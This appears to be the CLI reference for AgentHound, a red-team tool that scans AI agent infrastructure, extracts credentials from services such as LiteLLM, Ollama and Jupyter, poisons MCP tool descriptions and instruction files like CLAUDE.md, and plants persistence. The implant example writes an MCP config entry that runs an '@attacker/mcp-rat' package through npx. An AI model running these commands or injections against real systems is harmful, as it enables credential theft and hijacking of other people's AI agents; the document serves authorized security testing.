CLI Reference¶
AgentHound ships as two binaries: agenthound (collector) and agenthound-server (analysis server). Both use Cobra; all commands support --help.
Collector: agenthound¶
Persistent Flags¶
| Flag | Env | Default | Description |
|---|---|---|---|
--output |
AGENTHOUND_OUTPUT |
./scan-<scan_id>.json |
Write output JSON to this path. - for stdout. |
--concurrency |
AGENTHOUND_CONCURRENCY |
5 |
Max parallel collector workers. Used by scan as the fallback for --scan-concurrency when the latter is not set explicitly. |
--log-level |
AGENTHOUND_LOG_LEVEL |
info |
debug, info, warn, error. |
--quiet |
AGENTHOUND_QUIET=1 |
false |
Suppress non-error log output. |
--log-json |
AGENTHOUND_LOG_JSON=1 |
false |
Emit structured JSON logs. |
--rules-bundle |
AGENTHOUND_RULES_BUNDLE |
Path to a fingerprint rules bundle (dir or .tar.gz). Same-ID rules override shipped rule-backed detectors; id: jupyter can replace the versioned native Jupyter detector. Bundles do not register new scanner dispatch targets. Verify cosign signature before use. |
Priority: CLI flag > env var > default.
The collector has no DB clients, server control channel, telemetry, or
phone-home behavior. Commands that assess configured or operator-selected
targets do make target-scoped network requests: MCP/A2A collection, active scan
and discovery, looters, poisoners, and campaigns use the protocols documented
for those commands. scan --ingest also makes an explicit one-shot upload to
the operator-selected analysis server; it is not an automatic central-service
upload or control channel. Move resulting JSON via direct ingest, file copy,
SSH pipe, an explicit curl pipeline, or the UI's drag-drop import.
Every artifact-emitting command automatically derives versioned collection-point and network-context provenance from native OS, principal, execution-scope, and network signals. Raw signals are never emitted. There are no public identity flags or environment variables, and the derived identity is provenance rather than authentication or attestation.
The artifact also carries bounded hostname, OS, and architecture display labels in clear. These labels are operator hints only and never affect IDs, matching, scoping, or lifecycle. Collection-point and network quality are reported separately; incomplete route/interface inspection localizes only network-scoped evidence.
agenthound scan¶
Enumerate MCP servers, A2A agents, and client configs, then write the merged trust graph as JSON.
Scan artifacts use strict ingest wire version 1 with required automatic
identity and evidence
metadata: constituent collection coverage/outcomes, the effective text and
fingerprint ruleset semantic digest/entries with canonical matcher
definitions and load failures, and canonical identity-scheme metadata. A
ruleset digest identifies what ran; authenticity=unverified explicitly avoids
treating a digest as a trusted signature.
Two modes:
- Local mode (no positional arg) — runs config + MCP collectors against the local host.
- Network mode (positional arg) — sweeps targets for AI/ML services on standard ports (Ollama 11434, vLLM/LangServe 8000, Qdrant 6333, MLflow 5000, LiteLLM 4000, Jupyter 8888, Open WebUI 3000), then fingerprints each match.
Collector Selection¶
| Flag | Description |
|---|---|
--config |
Config collector only. |
--mcp |
MCP collector only. |
--a2a |
A2A collector only. |
When none specified, defaults to config + MCP.
Config Collector Flags¶
| Flag | Default | Description |
|---|---|---|
--path |
Single config file path (overrides auto-discovery). | |
--paths |
Comma-separated paths to multiple config files. | |
--project-dir |
current working directory | Canonical exact project root for project config, registered root instruction sources, and MCP auto-discovery. It does not enable arbitrary recursive discovery. Missing, inaccessible, or non-directory roots fail closed; they are never treated as an empty project. |
--deep |
false |
Add a bounded best-effort search below the canonical user home and the selected project. Canonical overlaps are partitioned so the selected project remains independently covered even inside a pruned home subtree. A limited deep attempt publishes proven positives with an explicit coverage warning. |
--include-credential-values |
false |
Include credential values that the collector actually observes; hashes and material-status fields remain authoritative when a service masks or hashes a value. |
Supported clients (12): Claude Desktop, Claude Code, Cursor, VS Code, Windsurf, Continue, Zed, Cline, JetBrains, Kiro, Amazon Q, Augment.
Auto-discovery reads each registered lexical absolute path once and applies
every client format registered for that path. A shared settings path is
represented by one ConfigFile with sorted clients and one AgentInstance
per applicable client. Explicit --path and --paths values retain the
identity of every supplied absolute path, including symlink aliases: two
logical client locations may point to the same underlying file without
becoming the same ConfigFile. Their server definitions still converge on the
normal deterministic MCPServer identity. Recognized empty server maps are
valid empty configurations; malformed, unreadable, or oversized files produce
non-authoritative failure states while valid views from the same path are
retained. For an explicitly supplied export whose generic shape is shared by
several clients and whose path proves none of them, the servers are retained
under client unknown instead of inventing a specific application.
Credential-named env vars, headers, arguments, and URL components with empty or
whitespace-only values are omitted rather than emitted as exposed credentials
sharing the hash of an empty placeholder. Non-empty values preserve their
exact bytes, including surrounding whitespace, when computing value_hash
(recognized HTTP Authorization schemes still remove only the protocol scheme
before hashing).
Instruction discovery has two exact roots in every config scan: the canonical
user home and the canonical project root (the current directory unless
--project-dir is supplied). At each root it checks only the registered static
sources: AGENTS.md, CLAUDE.md, .claude/CLAUDE.md,
.claude/rules/**/*.md, .cursorrules, .cursor/rules/**/*.mdc,
.github/copilot-instructions.md, and
.github/instructions/**/*.instructions.md. Known rule subtrees are bounded;
the default scan does not search the rest of the home directory for projects.
--deep adds bounded traversal below both the home directory and the selected
project. Canonical or symlink-resolved overlaps are partitioned: when home
contains the project, the home traversal excludes the project and the project
receives its own deep root; when the project contains home, the inverse
exclusion applies; identical roots collapse to one scope. Explicit project
selection therefore overrides home pruning without admitting sibling
dependency or cache trees. Both roots share one 60-second wall-clock budget.
Deep mode does not change either exact root. Discovery prunes junk, cache, VCS, and trash
subtrees — .git,
node_modules, .cache, and trash directories on every platform (macOS
.Trash, the freedesktop XDG home trash Trash, per-mount .Trash-<uid>,
Windows $Recycle.Bin). The explicitly selected exact root itself is never
pruned. Directory discovery budgets count directories descended, not
ordinary files. A 10,000 matched-rule cap, 4 MiB per-file cap, and the deep
scan's 60-second budget bound pathological enumeration without a silent depth
cutoff. A symlink used as an explicit root is canonicalized; descendant
symlinks are not followed. Only regular files are read; matching FIFOs,
devices, sockets, and other special files are rejected before open.
A registered rule tree that cannot be fully enumerated retains every successfully read file as a complete per-file observation and marks the root incomplete. Each file owner is stable across scans and registry-contract changes: it is derived from the stable root key plus canonical file path. Deep discovery likewise keeps complete children and records the rest as truncated or partial coverage. An inaccessible unmatched descendant limits deep coverage while retaining already completed children; it never proves absence below the skipped directory. Deep traversal runs in isolated state and returns at its 60-second deadline even when a filesystem open or directory read is stalled. A deadline returns a partial deep root containing only immutable per-file observations completed before the deadline; blocked work cannot mutate the returned result.
Recognized incomplete exact and deep roots are coverage-limited publications.
Complete per-file positives are additive and current; the root has no absence
authority, so it cannot retire, compare, or certify unseen registered sources
as absent. Prior unseen ownership is preserved. Partial, failed, and truncated
roots can therefore publish their successfully read children. A deadline that
completed no children publishes only the retained prior projection. A later
scan without --deep never refreshes, ages, or retires deep ownership. A later
complete scan of the same root reuses the stable per-file owners, regains
root-level absence authority, and may retire sources proven absent.
The collector reports every incomplete exact or deep instruction root on
stderr, including its state and sanitized cause when available. These
warnings state that observed positives were retained and missing instruction
evidence is not a clean absence. Coverage limitations retain exit zero so the
typed artifact can still be ingested; stdout remains machine-readable.
Completeness means registered-source completeness, not effective-client
completeness. Dynamic/imported instructions, GEMINI.md, COPILOT_HOME,
managed or inline policy, custom directories, auto-memory, remote client state,
and symlink-expanded sources are not included. Static discovery emits file-level
instruction evidence and poisoning findings but does not claim that an agent
loads a discovered file. LOADS_INSTRUCTIONS is reserved for evidence that
proves client and scope applicability.
MCP Collector Flags¶
| Flag | Default | Description |
|---|---|---|
--url |
URL of a single HTTP MCP server (skips auto-discovery). |
MCP auto-discovery uses the same validated project root, bounded physical-file reads, parser registry, and failure distinctions as config collection. Usable servers are retained when another config is malformed or unreadable, but the MCP authoritative root completes only when discovery and every active server scope are complete.
For HTTP targets, a successful Initialize proves anonymous access only when the
configured URL contains no userinfo/query and the request used no non-empty
caller-configured header. Recognized Authorization and API-key headers retain
their method. Every other non-empty configured header, including cookies,
opaque session headers, Accept, and User-Agent, produces an unknown
configured-material observation rather than fabricated anonymous evidence.
Empty/whitespace-only values carry no credential material. There is no benign
non-empty header allowlist and the collector does not issue a second
Initialize without the configured headers.
Read-only: calls tools/list, resources/list, resources/templates/list, prompts/list. Never calls tools/call or resources/read.
A2A Collector Flags¶
| Flag | Default | Description |
|---|---|---|
--target |
URL of a single A2A agent. | |
--targets |
Comma-separated agent URLs. | |
--targets-file |
File with agent URLs (one per line). | |
--discover-domain |
Domains to probe for /.well-known/agent-card.json. |
|
--auth-token |
Bearer token for authenticated agents. | |
--no-verify-jwks |
false |
Disable remote JWKS (jku) resolution during v1 signature verification; verify only against --a2a-trusted-keys (offline). |
--a2a-trusted-keys |
Path to a JWKS JSON file of trusted keys used to verify signed agent cards (offline key store). |
At least one of --target, --targets, --targets-file, or --discover-domain is required with --a2a.
The collector validates v0.3.0 and v1.0.1 required fields but retains invalid
cards as card_conformant=false observations. Ordered interfaces are preserved;
entry zero remains preferred. Skill, host, and authentication edges are emitted
only when the facts supporting each edge are conformant. Security requirements
retain their OR-of-AND structure and scopes; a declared scheme is inactive until
referenced by a requirement, and auth_method remains unknown when a scalar
method would be ambiguous.
After parsing, the collector performs at most one anonymous, read-only
nonexistent-task lookup per canonical preferred protocol endpoint. It uses v1
GetTask with the advertised A2A-Version header or v0.3 tasks/get, never
message/send, cancellation, or push-configuration methods. The probe sends
neither --auth-token nor any other credential, rejects redirects, reads at
most 64 KiB, and runs for at most five seconds (or the shorter collector
timeout). A card cannot expand scan scope: the preferred interface must be a
conformant HTTP(S) JSON-RPC URL whose exact scheme/host/effective-port origin
matches at least one requested target and contains no userinfo, query, or
fragment bytes. Query-bearing interfaces fail closed because even an
innocently named parameter could carry authentication material. Aliases sharing that canonical endpoint
reuse one result. Cross-origin, non-preferred, unsupported, malformed, or
otherwise ambiguous interfaces remain diagnostic unknown observations.
Only v1.0.1 cards have a defined signing algorithm. Their ProtoJSON
presence/default rules are applied before RFC 8785 JCS and object-form JWS
verification. Keys resolve first from --a2a-trusted-keys, then from the
protected header's jku; card-controlled inline jwks, top-level jwks_uri,
and compact signature strings are not key/signature inputs. Remote jku is
HTTPS-only, validates server identity even when target collection uses
--insecure, and remains untrusted identity evidence unless the key was
operator-pinned. Each card is limited to 16 signatures and four unique remote
key sources under one aggregate verification deadline; jku fragments are
rejected. Results use unsigned, unsupported_version, malformed,
key_unavailable, invalid, valid_untrusted, or valid_trusted, with
separate signature_key_source and signature_key_trust properties.
Network Mode Flags¶
| Flag | Default | Description |
|---|---|---|
--ports |
11434,8000,6333,5000,4000,8888,3000 |
Override the default AI-service port set. |
--network-scan-concurrency |
50 |
Max parallel TCP connect probes (internally clamped to 4096). HTTP fingerprinting uses at most 64 workers. |
--allow-public-targets |
false |
Allow scanning non-RFC1918 IPs. Requires interactive AUTHORIZED prompt. |
--allow-large-cidr |
false |
Allow CIDRs larger than /16 (IPv4) or /112 (IPv6), up to an absolute ceiling of 1,048,576 hosts (exactly /12 IPv4, /108 IPv6) that applies even with this flag. |
--authorization-file |
Path to a written-authorization document. Path + SHA-256 recorded in scan watermark. | |
--verbose |
false |
List every discovered host (open ports + candidate kinds). Default is a one-line summary. |
Link-local and multicast addresses are refused unconditionally.
By default network-mode scan prints a one-line summary (N host(s) with at least one open port) plus a final fingerprint summary; pass --verbose to list every host, which can run to thousands of lines on a large sweep. On an interactive terminal a single rewriting progress line is shown during the port sweep and fingerprint phase. --quiet (or AGENTHOUND_QUIET=1) suppresses routine progress, per-host summaries, and fingerprint output, but never suppresses errors or collection-coverage warnings. None of this affects the JSON written to --output.
Every registered fingerprinter runs once against every open endpoint. Port mappings prioritize likely candidates but are not eligibility gates, so a real service on a custom port remains discoverable. TCP connect success and explicit connection refusal are conclusive; timeout, DNS, reset, panic, cancellation, and unstarted TCP probes are unknown. For HTTP fingerprinting, a complete 2xx response that fails its matcher or explicit connection refusal is a definitive no-match. Bare 404/405 responses are unknown because an access gateway can conceal a protected route and a method rejection does not prove the service is absent. TLS/timeouts and other transport failures, redirects, authentication challenges, other non-2xx statuses, incomplete or oversized bodies, and matcher runtime failures are also unknown.
Each port-scan, fingerprint, and protocol-discovery outcome is complete only
when every scheduled probe is conclusive, partial when conclusive and unknown
results are mixed, and failed when nothing is conclusive. Fingerprinting is
not_applicable when the conclusive TCP sweep found no open endpoint. An open
endpoint with no registered fingerprinter is a failed zero-probe condition.
Confirmed service nodes remain in the artifact in partial runs, while the
coverage warning prevents unchecked services from being presented as absent.
Network scan and discover bind lifecycle ownership to a versioned probe
contract recorded as meta.extra.probe_contract plus
meta.extra.probe_contract_digest. The contract hashes the exact sorted,
deduplicated logical target set expanded for scheduling; a changed @file
therefore creates a different owner even when its path is unchanged, while
reordered or repeated entries do not. Hostnames remain logical hostnames and
are not replaced by unstable DNS results. Network fingerprint contracts also
include the scheduled ports, the exact dispatched module ID/target/version set,
and only the fingerprint/native-detector semantic hashes those candidates
execute. Protocol discovery contracts include only active protocols and their
scheduled ports, so an A2A port flag cannot change an MCP-only contract. A
complete result may retire earlier observations only for this exact contract; a
different target, port, protocol, candidate, or executed detection surface
cannot prove them absent.
Shared Flags¶
| Flag | Default | Description |
|---|---|---|
--scan-concurrency |
5 |
Max parallel connections (local mode). When not set explicitly, falls back to the root --concurrency / AGENTHOUND_CONCURRENCY value if that is positive. |
--timeout |
120s |
Timeout per server/agent (local MCP/A2A mode). In network mode, an explicit positive value applies independently to each TCP probe and HTTP fingerprint task. When omitted/non-positive, TCP defaults to 3s and HTTP fingerprinting to 5s; queue wait does not consume the task deadline. |
--insecure |
false |
Skip TLS verification (both MCP and A2A). |
--scan-output |
Explicit output path (overrides --output). |
|
--ingest |
Local mode only. Save the scan artifact, then upload those exact bytes to this AgentHound server base URL. | |
--json |
false |
Print the full remote ingest receipt instead of the compact summary. Requires --ingest. |
Concurrency precedence for local-mode scan: an explicit --scan-concurrency always wins; otherwise the root --concurrency / AGENTHOUND_CONCURRENCY value is used when positive; otherwise the --scan-concurrency default (5) holds. --network-scan-concurrency is a separate knob and is not affected.
--ingest preserves the normal JSON artifact before making the request. The
default path is ./scan-<scan_id>.json; use --output <path> to choose another
backup path. --output - is incompatible because direct ingest requires a
recoverable artifact. Redirects are not followed. The collector validates the
remote receipt against the exact V1 response contract before printing success;
missing coverage, malformed identity or totals, invalid states, unknown fields,
non-positive publication revisions, and contradictory required-stage or
publication outcomes fail closed. Supplied stages, normalization warnings, and
post-processing statistics are validated field-by-field. A coherent incomplete
receipt remains valid diagnostic evidence: the collector prints
Ingest incomplete, preserves the receipt, and exits non-zero. Safe partial
collection evidence may still publish successfully with a coverage warning.
Direct-ingest HTTP is supported only for the default loopback server or an
endpoint already protected by an operator-controlled VPN/SSH tunnel. Use HTTPS
or a trusted tunnel for any non-loopback route; --insecure applies to
collection targets, not ingest TLS. Artifacts produced with
--include-credential-values can contain raw secrets.
Collection Outcome and Exit Semantics¶
Every saved scan artifact records its aggregate state and per-target details
under meta.collection. Complete scans print the normal
Next: agenthound-server ingest ... instruction without a coverage warning.
Partial, failed, truncated, or unknown artifacts print a warning on stderr,
including the actionable blocking outcomes and a review-qualified ingest
instruction. Full details remain in meta.collection.outcomes; stdout JSON is
unchanged.
Usable incomplete evidence retains exit status zero. This includes a collector that returned a typed artifact whose target observations all failed. The scan exits non-zero for collection failure only when every enabled top-level collector returned an error; the saved artifact is then identified as diagnostic evidence and no ingest instruction is printed. Output, argument, and remote-ingest failures retain their existing non-zero behavior.
When the server can safely process an incomplete artifact, it publishes the
confirmed facts additively and persists the incomplete scopes as coverage
limitations. Omitted data is retained rather than treated as absent. Review
meta.collection.outcomes, correct or recollect the failed coverage, and do
not treat missing facts as evidence of absence. With --ingest, the warning is
printed after the backup artifact is saved and before the explicitly requested
upload begins.
Example¶
# Full local scan: config + MCP enumeration
agenthound scan
# Scan local configs, save a backup artifact, and ingest it
agenthound scan --config --ingest http://127.0.0.1:8080
# Network sweep of a /24 for exposed AI services
agenthound scan 10.0.0.0/24 --allow-large-cidr
# Pipe directly into the analysis server
agenthound scan --output - | agenthound-server ingest -
agenthound discover¶
Protocol-shape probes against a network to discover MCP servers (JSON-RPC initialize) and A2A agents (well-known agent-card). Unlike scan which fingerprints fixed AI-service ports, discover issues protocol-specific HTTP probes against likely web ports.
Discovery preserves every positive MCP/A2A match while recording truthful
coverage. A complete non-matching 2xx protocol response and explicit connection
refusal are conclusive negatives. Bare 404/405 responses, authentication
blocks, redirects, other non-2xx statuses, TLS/timeouts and other transport
failures, and incomplete or oversized responses are unknown. Mixed scans are
marked partial; an all-unknown or zero-probe run is failed. The artifact is
still written and the CLI prints a coverage warning so retained positives can
be ingested without treating unchecked endpoints as absent.
| Flag | Default | Description |
|---|---|---|
--mcp |
(both if neither set) | Probe for MCP servers only. |
--a2a |
(both if neither set) | Probe for A2A agents only. |
--mcp-ports |
3000,8000,8080,8443 |
Override MCP probe port set. |
--a2a-ports |
80,443,3000,8080 |
Override A2A probe port set. |
--network-scan-concurrency |
50 |
Max parallel HTTP probes. |
--timeout |
5s |
Per-probe HTTP timeout. |
--insecure |
false |
Skip TLS verification on HTTPS probes. |
--allow-public-targets |
false |
Allow probing public IPs (requires AUTHORIZED prompt). |
--allow-large-cidr |
false |
Allow CIDRs larger than /16, up to the absolute 1,048,576-host ceiling (applies even with this flag). |
--authorization-file |
Written-authorization doc; recorded in watermark. | |
--scan-output |
Output path (defaults to ./discover-<scan_id>.json). |
|
--verbose |
false |
List every discovered endpoint (protocol + URL). Default is a one-line summary. |
Like scan, discover prints a one-line summary by default (N endpoint(s)), shows a rewriting progress line on an interactive terminal, and honors --quiet / AGENTHOUND_QUIET=1. Pass --verbose to list each endpoint.
Example¶
agenthound loot¶
Extract latent secrets from a discovered service. Looters are read-only by contract: no state-mutating requests. GET/HEAD is the norm; a few use idempotent, side-effect-free search/lookup POSTs that some APIs expose only via POST (e.g. MLflow runs/search, Ollama /api/show), each guarded by a get_only regression test. Emits Credential nodes and EXPOSES_CREDENTIAL edges for the credential-chain post-processor.
Safety Gates¶
- First invocation requires interactive
AUTHORIZEDprompt. After confirmation, writes~/.agenthound/loot-acknowledgedsentinel (skipped on subsequent runs). --include-credential-valuesis OFF by default (emitsvalue_hashonly).--engagement-idrecorded on every emitted edge for correlation.
Core Flags¶
| Flag | Default | Description |
|---|---|---|
--type |
(required) | Looter kind: litellm, ollama, mlflow, qdrant, openwebui, jupyter. |
--master-key |
Sugar for --credential master_key=.... |
|
--credential |
Operator-supplied credential as KEY=VALUE (repeatable). |
|
--include-credential-values |
false |
Include observed values where available; this cannot recover values that a service masks or returns only as a hash. |
--max-items |
0 (looter default) |
Cap on the enumerated resource per Looter — semantics vary by module. See the per-Looter default table for defaults + semantics. |
--timeout |
0 (looter default) |
Per-probe HTTP timeout. |
--engagement-id |
Engagement identifier for IR coordination. |
Per-Module Flags: --type ollama¶
| Flag | Default | Description |
|---|---|---|
--include-embeddings |
false |
Issue one test embedding call via POST /api/embeddings with keep_alive: 0 (evicts the runner immediately after the probe per Ollama server/sched.go:389-398; consumes compute). |
The Ollama Looter records verified anonymous access only after credential-free
GET /api/tags returns a JSON object with a models array. HTTP denial,
transport failure, malformed JSON, or a 2xx body without that array leaves only
the neutral service identity and loot_observed attempt fact.
Ollama's HTTP API does not expose a raw-weight download endpoint. See Ollama loot for how to obtain the GGUF weight file out-of-band when the engagement needs it.
Per-Module Flags: --type openwebui¶
| Flag | Default | Description |
|---|---|---|
--api-key |
Open WebUI admin API key (or session JWT). When supplied, enumerates upstream provider keys via authenticated GET /openai/config, GET /ollama/config, GET /api/v1/retrieval/config, and GET /api/v1/retrieval/embedding (recursive secret walker for KEY/TOKEN/PASSWORD/SUBSCRIPTION/_SK suffixes; skips MODEL/ENGINE/URL/HOST negatives). Omit for anonymous posture only (GET /api/config). |
Per-Module Flags: --type qdrant¶
| Flag | Default | Description |
|---|---|---|
--include-points |
false |
Sample per-collection payloads via POST /collections/{name}/points/scroll (opt-in; can be large). Emits one :MCPResource per point + PROVIDES_RESOURCE edge from QdrantInstance. |
--points-per-collection |
100 |
Cap on payloads sampled per collection when --include-points is set. |
--max-total-resources |
5000 |
Global cap on :MCPResource nodes emitted across all collections (prevents runaway on large deployments). |
Without --include-points the Qdrant Looter is pure-GET (GET /collections + GET /collections/{name}), folding collection_count, collections, total_points, points_count_unknown, and anonymous_listing onto the QdrantInstance node with no Credential nodes. Those inventory and verified-anonymous properties are added only after credential-free /collections returns status=ok with a result.collections array; denial, transport failure, malformed JSON, and wrong-shaped 2xx responses leave a neutral attempt node.
Per-Module Flags: --type jupyter¶
| Flag | Default | Description |
|---|---|---|
--max-depth |
4 |
Maximum recursion depth into /api/contents subdirectories. Arbitrary safety cap — Jupyter Server places no upper bound on tree depth, so a hostile or accidentally-deep tree could exhaust the Looter without one. |
The Jupyter Looter is pure-GET. It first tries GET /api/sessions and root GET /api/contents/ without credentials. On 401/403 it retries with the bare value from --credential token=... (one existing Bearer prefix is normalized) and propagates that bearer through the recursive walk. A 2xx response counts as protected access only after sessions decode as an array or contents decode with a directory content array; malformed success bodies are partial failures, not anonymous evidence. Direct URL targets retain their base path and implicit HTTP(S) port. Directories count against the common --max-items budget, bounding both emitted resources and recursive traversal. Exhausting that budget or encountering a directory beyond --max-depth marks the collection partial so incomplete inventory cannot retire current graph state. It does not perform password login. auth_required, auth_method, and anonymous-access properties come from protected-operation outcomes; status-page access alone never creates an anonymous-loot conclusion. Mixed endpoint authorization remains auth_method=unknown rather than guessing a server-wide mechanism.
--type mlflow — coverage note¶
The MLflow Looter enumerates experiments + runs (paginated via max_results / next_page_token — modern MLflow rejects experiments/search without max_results) plus the Model Registry: registered-models/search, model-versions/search, and per-version get-download-uri. Each returned artifact URI is emitted as an :MCPResource joined to MLflowServer via PROVIDES_RESOURCE, with sensitivity auto-classified by scheme + path (see the artifact sensitivity heuristic in graph-model.md). No new flag; the Model Registry probes are anonymous-readable on stock MLflow deployments. Verified anonymous evidence is added only after the credential-free experiments-search response contains an experiments array; denial, transport failure, malformed JSON, and wrong-shaped 2xx responses retain only neutral attempt facts.
Example¶
agenthound loot 172.20.0.10:4000 --type litellm \
--master-key sk-1234 --engagement-id RTV-DEMO --output -
agenthound poison (DESTRUCTIVE)¶
Inject attacker-controlled content into a target. Modifies on-target state (tool descriptions, instruction files).
<target> is module-specific. ContextForge MCP poisoning requires the absolute server-scoped URL described below; local instruction-file poisoning uses its module's local target/file inputs.
Safety Gates¶
- Reverter is compile-time mandatory — every Poisoner must implement a recovery path. Runtime restoration is independently verified and can still be blocked by external policy changes, conflicts, deletion, or loss of access.
--commitis OFF by default. Without it, the Poisoner does a full dry-run (reads original, computes injection, writes receipt withdry_run=true) but issues no mutating write.- First invocation requires interactive
AUTHORIZEDprompt. Writes~/.agenthound/poison-acknowledgedsentinel (shared withimplant). - Receipt persisted BEFORE the mutating write. A persistence failure aborts before any mutating request; once the PUT can run, its durable recovery receipt already exists.
Core Flags¶
| Flag | Default | Description |
|---|---|---|
--type |
(required) | Poisoner kind: mcp.tool.description, instruction.file. MCP tool-description mutation requires the ContextForge adapter. |
--target-id |
Logical address of what to poison (e.g. tool name). | |
--inject |
Injection content (inline string). | |
--inject-file |
Read injection from file (overrides --inject). |
|
--mode |
replace |
How injection combines with original: replace, append, prepend. |
--commit |
false |
Issue the mutating write. |
--engagement-id |
(required) | Links to agenthound revert <id>. |
Per-Module Flags: --type mcp.tool.description¶
| Flag | Default | Description |
|---|---|---|
--adapter |
(required) | Management adapter. The only supported value is contextforge. |
--management-url |
derived | Optional ContextForge deployment-root override. Preserve any proxy prefix but omit /v1; AgentHound appends the fixed API prefix. |
--insecure |
false |
Skip TLS certificate verification on both MCP and ContextForge requests. Credentials remain exact-origin-bound. |
The positional target must be a server-scoped ContextForge MCP URL ending in /servers/<server-uuid>/mcp (an optional reverse-proxy prefix and trailing slash are accepted). The v1.0.5 server and tool IDs are accepted only in their exact wire form: lowercase 32-hex text without hyphens. AgentHound derives the server ID and, unless --management-url is set, the deployment root from that URL. A management override must be an absolute deployment base without userinfo, query, fragment, or the /v1 API suffix. AgentHound observes the exact --target-id tool through an initialized, paginated official MCP SDK session, then binds it to one ContextForge management row through fixed GET /v1/servers/<server-uuid>/tools and GET /v1/tools/<tool-uuid> reads. The only write contract is PUT /v1/tools/<tool-uuid> with {"description":"..."} and an exact 200 JSON response. If the response cannot be fully observed, AgentHound never retries the PUT; read-only reconciliation accepts forward success only for the exact intended text at V+1 with the pre-recorded operation User-Agent. Provider normalization or failed MCP projection is a failed forward result and triggers one inline cleanup; that cleanup may restore the landed value when exact tool UUID, V+1, and forward User-Agent prove attribution. MCP defines none of these management routes.
Both the encoded forward and restoration bodies must fit the 256 KiB request limit before AgentHound persists a live receipt or writes. The exact preflight ToolRead and projected response must retain safety headroom within the separate 1 MiB response limit. Null or non-string management descriptions are rejected because MCP projects provider null as empty text while ContextForge cannot restore null through this update contract.
ContextForge v1.0.5 has no non-mutating API that proves the current update validators accept an already stored description byte-for-byte. ToolRead does not revalidate stored text, while a no-op PUT would increment version and replace audit attribution. If validation policy changed after a row was created, the forward replacement can succeed but restoration of the original can be rejected. AgentHound reports that failure without claiming recovery; before --commit, deployment operators must confirm current-policy acceptance of existing descriptions on installations whose validator configuration changed.
Credentials are not accepted as module flags. AGENTHOUND_MCP_TOKEN supplies an explicit MCP bearer value; when unset, AgentHound compares every discovered Authorization header for the exact positional URL and rejects conflicting values. AGENTHOUND_CONTEXTFORGE_TOKEN independently overrides the management bearer. Without that override, management reuses the resolved MCP bearer only on the same origin; cross-origin management requires the ContextForge override. AgentHound does not mint, fetch, or escalate management credentials; the operator must obtain an authorized bearer through the deployment's ContextForge authentication or token workflow. ContextForge v1.0.5 treats token permissions as a ceiling and database RBAC as the actual operation check. AgentHound accepts a session token or an API token with an empty/wildcard permission ceiling and resolves identity through fixed GET /v1/auth/email/me. For non-admins it queries GET /v1/rbac/my/permissions?team_id=<uuid> in the exact server/tool team contexts, requiring effective servers.read, tools.read, and tools.update plus direct ownerEmail on both objects; team membership alone is not ownership proof. A platform-admin bypass is accepted only from the provider profile. Exact non-wildcard API-token ceilings fail closed because they block the preflight proof. Exact server/tool reads must also succeed. Credentials are origin-bound and never persisted. ContextForge and intervening proxies must preserve AgentHound's operation User-Agent for recovery attribution.
Per-Module Flags: --type instruction.file¶
| Flag | Default | Description |
|---|---|---|
--file |
Absolute path to the instruction file (CLAUDE.md, AGENTS.md, .cursorrules). |
Example¶
# Optional same-origin override; required for cross-origin management.
export AGENTHOUND_CONTEXTFORGE_TOKEN='...'
agenthound poison https://gateway.example/servers/<server-uuid>/mcp \
--type mcp.tool.description --adapter contextforge \
--target-id support-lookup \
--inject-file payload.txt --commit \
--engagement-id DC35-DEMO
agenthound implant (DESTRUCTIVE)¶
Plant persistence in MCP config or instruction files. Installs a malicious server entry or sentinel-bracketed block.
Same safety gates as poison (shared ~/.agenthound/poison-acknowledged sentinel, --commit OFF by default, receipt persistence).
The <host> argument is informational for file-based Implanters — recorded on the receipt for engagement correlation, but the modification is local-filesystem only.
Core Flags¶
| Flag | Default | Description |
|---|---|---|
--type |
(required) | Implanter kind: mcp.config.malicious-server, instruction.file. |
--target-id |
Per-module logical address (often the absolute file path). | |
--inject |
Injection content (JSON for config implants, freeform for instruction). | |
--inject-file |
Read injection from file. | |
--commit |
false |
Issue the mutating file write. |
--engagement-id |
(required) | Links to agenthound revert <id>. |
Per-Module Flags: --type mcp.config.malicious-server¶
| Flag | Default | Description |
|---|---|---|
--file |
Absolute path to the MCP config JSON. | |
--server-name |
agenthound-implant-<engagement-id> |
Name for the implanted server entry. |
--servers-key |
mcpServers |
Top-level key in config JSON. Override for VS Code (servers), Zed (context_servers). |
Per-Module Flags: --type instruction.file¶
instruction.file is registered as a Poisoner (the agent reads instruction files as part of its prompt, so modification fits the Poisoner contract), but agenthound implant --type instruction.file is also accepted — the dispatch falls through to the shared poison runner. The receipt is identical to one produced by agenthound poison --type instruction.file, and agenthound revert <engagement-id> rolls back either invocation the same way.
| Flag | Default | Description |
|---|---|---|
--file |
Absolute path to the instruction file (CLAUDE.md, AGENTS.md, .cursorrules). Required. |
Example¶
agenthound implant localhost --type mcp.config.malicious-server \
--file ~/.cursor/mcp.json \
--inject '{"command":"npx","args":["-y","@attacker/mcp-rat"]}' \
--commit --engagement-id DC35-DEMO
agenthound revert¶
Attempt recovery for destructive actions recorded for an engagement. Walks all stateful modules, reads matching receipts, and dispatches each module's Revert implementation. Failures remain nonzero and retain their receipts; qualified management-only restoration is reported as PARTIALLY VERIFIED rather than cleanly complete.
| Flag | Default | Description |
|---|---|---|
--insecure |
false |
Skip TLS certificate verification during receipt recovery. Credentials remain exact-origin-bound. |
Retries are conflict-aware: each Reverter checks live target state before writing, and dry-run receipts are no-ops. Receipts are immutable and carry no completion state, so replaying a fully completed stacked rollback is not universally idempotent; it may conservatively conflict when the final restored state no longer matches the newest receipt.
Receipts live at ~/.agenthound/state/<module-id>/<engagement-id>.json and are NOT deleted after revert — they are the audit trail.
Engagement recovery accepts only the V1 receipt envelopes supported by each owning module and keeps per-module/per-file LIFO while continuing across independent module failures. ContextForge tool-description recovery requires its typed V1 receipt, provider profile, and contract; missing, unknown, or non-V1 forms are rejected before networking. Because immutable ContextForge version/User-Agent attribution cannot safely unwind stacked writes to one row, the adapter rejects any new mutation—including dry-run eligibility—while the row carries an AgentHound forward-operation attribution, regardless of engagement. Within one engagement it also rejects a prior same-row receipt whose original description is not yet live; a verified restoration makes that earlier receipt a safe no-op and permits reuse. It may restore provider-normalized landed text when the receipt's exact tool UUID is still at V+1 with the forward operation User-Agent; outbound-text equality is not an ownership requirement. When normalization lands text equal to the original but retains V+1 and the forward User-Agent, recovery issues the one restore PUT so the row reaches V+2 with the restore User-Agent instead of falsely reporting a no-op. Proven server/tool association drift does not block restoration of that exact attributed row; standalone recovery reports PARTIALLY VERIFIED because the management row is verified while MCP verification is unavailable. An association-read error is not detachment proof and cannot select management-only verification. ContextForge and intervening proxies must preserve AgentHound's operation User-Agent. This differs from an active campaign's run-scoped cleanup, which selects one exact run, orders all modules globally by step_sequence, and fail-stops on the first unsafe dependent step.
Example¶
